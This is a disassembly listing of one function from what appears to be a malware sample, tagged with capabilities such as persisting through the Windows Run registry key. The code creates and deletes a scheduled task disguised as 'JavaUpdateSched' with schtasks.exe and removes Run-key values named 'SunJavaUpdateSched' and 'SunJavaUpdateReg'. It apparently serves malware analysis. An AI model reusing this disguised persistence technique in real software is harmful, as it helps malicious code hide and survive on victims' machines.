Function at 0x1002d830
Capabilities:
Delete registry value
Get common file path
Persist via run registry key

Disassembly:
sub esp, 0x428
mov eax, dword [0x100530a0]
xor eax, esp
mov dword [esp + 0x424], eax
push edi
mov edi, dword [esp + 0x430]
lea eax, [esp + 0x18]
push 0x208
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x208
lea eax, [esp + 0x230]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x18
mov dword [esp + 0xc], 0
call fcn.10030ae0
test eax, eax
jne 0x1002d89b
pop edi
mov ecx, dword [esp + 0x424]
xor ecx, esp
call fcn.1003b4ee
add esp, 0x428
ret
push ebx
push ebp
push esi
push 0x208
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryW]
push 0xc
call fcn.1003b014
mov ebx, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, eax
add esp, 4
test esi, esi
je 0x1002d8e5
lea eax, [esp + 0x24]
mov dword [esi + 4], 0
push eax
mov dword [esi + 8], 1
call ebx
mov dword [esi], eax
test eax, eax
je 0x1002df89
jmp 0x1002d8e7
xor esi, esi
mov dword [esp + 0x1c], esi
test esi, esi
je 0x1002df89
push 0xc
call fcn.1003b014
mov esi, eax
add esp, 4
test esi, esi
je 0x1002d924
push str._schtasks.exe
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call ebx
mov dword [esi], eax
test eax, eax
je 0x1002df89
jmp 0x1002d926
xor esi, esi
mov dword [esp + 0x10], esi
test esi, esi
je 0x1002df89
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x20]
call fcn.10003700
or ebx, 0xffffffff
mov eax, ebx
lock xadd dword [esi + 8], eax
dec eax
mov ebp, dword [sym.imp.OLEAUT32.dll_SysStringLen]
jne 0x1002d984
mov eax, dword [esi]
test eax, eax
je 0x1002d962
push eax
call ebp
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x1002d979
push eax
call fcn.1003b898
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.1003b014
add esp, 8
push 0xc
call fcn.1003b014
mov esi, eax
add esp, 4
test esi, esi
je 0x1002d9b9
lea eax, [esp + 0x24]
mov dword [esi + 4], 0
push eax
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x1002df89
jmp 0x1002d9bb
xor esi, esi
mov dword [esp + 0x14], esi
test esi, esi
je 0x1002df89
push 0xc
call fcn.1003b014
add esp, 4
mov esi, eax
test edi, edi
jne 0x1002da0b
mov dword [esp + 0x18], 1
test esi, esi
je 0x1002dcd2
push str._schtasks.exe__delete__tn_JavaUpdateSched__f
mov dword [esi + 4], edi
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x1002df89
jmp 0x1002dcd4
test esi, esi
je 0x1002da34
push 0x1003e9cc
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x1002df89
jmp 0x1002da36
xor esi, esi
mov dword [esp + 0x10], esi
test esi, esi
je 0x1002df89
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x18]
call fcn.10003700
mov eax, ebx
lock xadd dword [esi + 8], eax
dec eax
jne 0x1002da8b
mov eax, dword [esi]
test eax, eax
je 0x1002da69
push eax
call ebp
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x1002da80
push eax
call fcn.1003b898
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.1003b014
add esp, 8
push edi
lea ecx, [esp + 0x14]
call fcn.100032a0
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x18]
call fcn.10003700
mov esi, dword [esp + 0x10]
test esi, esi
je 0x1002dae6
mov eax, ebx
lock xadd dword [esi + 8], eax
dec eax
jne 0x1002dae6
mov eax, dword [esi]
test eax, eax
je 0x1002dac4
push eax
call ebp
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x1002dadb
push eax
call fcn.1003b898
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.1003b014
add esp, 8
call fcn.10005400
push 0xc
mov esi, eax
call fcn.1003b014
add esp, 4
mov edi, eax
test esi, esi
je 0x1002db08
test edi, edi
je 0x1002db31
push str.lib_task64.xml_
jmp 0x1002db11
test edi, edi
je 0x1002db31
push str.lib_task.xml_
mov dword [edi + 8], 1
mov dword [edi + 4], 0
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [edi], eax
test eax, eax
je 0x1002df89
jmp 0x1002db33
xor edi, edi
mov dword [esp + 0x10], edi
test edi, edi
je 0x1002df89
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x18]
call fcn.10003700
mov eax, ebx
lock xadd dword [edi + 8], eax
dec eax
jne 0x1002db88
mov eax, dword [edi]
test eax, eax
je 0x1002db66
push eax
call ebp
mov dword [edi], 0
mov eax, dword [edi + 4]
test eax, eax
je 0x1002db7d
push eax
call fcn.1003b898
add esp, 4
mov dword [edi + 4], 0
push 0xc
push edi
call fcn.1003b014
add esp, 8
push 0xc
call fcn.1003b014
mov edi, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, eax
add esp, 4
test esi, esi
je 0x1002dbbf
push str._schtasks.exe__create__xml
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call edi
mov dword [esi], eax
test eax, eax
je 0x1002df89
jmp 0x1002dbc1
xor esi, esi
mov dword [esp + 0x10], esi
test esi, esi
je 0x1002df89
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x18]
call fcn.10003700
mov eax, ebx
lock xadd dword [esi + 8], eax
dec eax
jne 0x1002dc16
mov eax, dword [esi]
test eax, eax
je 0x1002dbf4
push eax
call ebp
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x1002dc0b
push eax
call fcn.1003b898
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.1003b014
add esp, 8
push 0xc
call fcn.1003b014
mov esi, eax
add esp, 4
test esi, esi
je 0x1002dc4a
lea eax, [esp + 0x22c]
mov dword [esi + 4], 0
push eax
mov dword [esi + 8], 1
call edi
mov dword [esi], eax
test eax, eax
je 0x1002df89
jmp 0x1002dc4c
xor esi, esi
mov dword [esp + 0x10], esi
test esi, esi
je 0x1002df89
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x18]
call fcn.10003700
mov eax, ebx
lock xadd dword [esi + 8], eax
dec eax
jne 0x1002dca1
mov eax, dword [esi]
test eax, eax
je 0x1002dc7f
push eax
call ebp
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x1002dc96
push eax
call fcn.1003b898
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.1003b014
add esp, 8
push 0xc
call fcn.1003b014
mov esi, eax
add esp, 4
test esi, esi
je 0x1002dcd2
push str.__tn_JavaUpdateSched__f
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call edi
mov dword [esi], eax
test eax, eax
je 0x1002df89
jmp 0x1002dcd4
xor esi, esi
mov dword [esp + 0x10], esi
test esi, esi
je 0x1002df89
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x18]
call fcn.10003700
mov eax, ebx
lock xadd dword [esi + 8], eax
dec eax
jne 0x1002dd29
mov eax, dword [esi]
test eax, eax
je 0x1002dd07
push eax
call ebp
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x1002dd1e
push eax
call fcn.1003b898
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.1003b014
add esp, 8
mov esi, dword [esp + 0x14]
test esi, esi
je 0x1002dd35
mov eax, dword [esi]
jmp 0x1002dd37
xor eax, eax
mov edi, dword [esp + 0x1c]
test edi, edi
je 0x1002dd43
mov ecx, dword [edi]
jmp 0x1002dd45
xor ecx, ecx
push 0
push eax
push ecx
call fcn.100333b0
add esp, 0xc
mov dword [esp + 0x1c], eax
test eax, eax
je 0x1002deee
lea eax, [esp + 0x20]
push eax
push 0x2021f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1002deee
cmp dword [esp + 0x18], eax
jne 0x1002ddad
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push str.SunJavaUpdateSched
push dword [esp + 0x24]
call esi
push str.SunJavaUpdateReg
push dword [esp + 0x24]
call esi
call fcn.10033380
call fcn.1002dfb0
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0xc
call fcn.1003b014
mov esi, eax
add esp, 4
test esi, esi
je 0x1002ddec
push str.create_delete_task_scheduler_successfully:_n
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x1002df89
jmp 0x1002ddee
xor esi, esi
mov dword [esp + 0x10], esi
test esi, esi
je 0x1002df89
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x14]
call fcn.10003700
push 0xc
call fcn.1003b014
mov esi, eax
add esp, 4
test esi, esi
je 0x1002de3d
push 0x1003f70c
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x1002df89
jmp 0x1002de3f
xor esi, esi
mov dword [esp + 0x18], esi
test esi, esi
je 0x1002df89
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x14]
call fcn.10003700
mov eax, ebx
lock xadd dword [esi + 8], eax
dec eax
jne 0x1002de94
mov eax, dword [esi]
test eax, eax
je 0x1002de72
push eax
call ebp
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x1002de89
push eax
call fcn.1003b898
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.1003b014
add esp, 8
mov esi, dword [esp + 0x10]
test esi, esi
je 0x1002dea0
mov eax, dword [esi]
jmp 0x1002dea2
xor eax, eax
push eax
call fcn.10033920
add esp, 4
test esi, esi
je 0x1002deea
mov eax, ebx
lock xadd dword [esi + 8], eax
dec eax
jne 0x1002deea
mov eax, dword [esi]
test eax, eax
je 0x1002dec8
push eax
call ebp
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x1002dedf
push eax
call fcn.1003b898
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.1003b014
add esp, 8
mov esi, dword [esp + 0x14]
test esi, esi
je 0x1002df2d
mov eax, ebx
lock xadd dword [esi + 8], eax
dec eax
jne 0x1002df2d
mov eax, dword [esi]
test eax, eax
je 0x1002df0b
push eax
call ebp
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x1002df22
push eax
call fcn.1003b898
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.1003b014
add esp, 8
test edi, edi
je 0x1002df6a
lock xadd dword [edi + 8], ebx
dec ebx
jne 0x1002df6a
mov eax, dword [edi]
test eax, eax
je 0x1002df48
push eax
call ebp
mov dword [edi], 0
mov eax, dword [edi + 4]
test eax, eax
je 0x1002df5f
push eax
call fcn.1003b898
add esp, 4
mov dword [edi + 4], 0
push 0xc
push edi
call fcn.1003b014
add esp, 8
mov eax, dword [esp + 0x1c]
jmp 0x1002df70
mov ecx, dword [esp + 0x434]
pop esi
pop ebp
pop ebx
pop edi
xor ecx, esp
call fcn.1003b4ee
add esp, 0x428
ret
push 0x8007000e
call fcn.1003b014
int3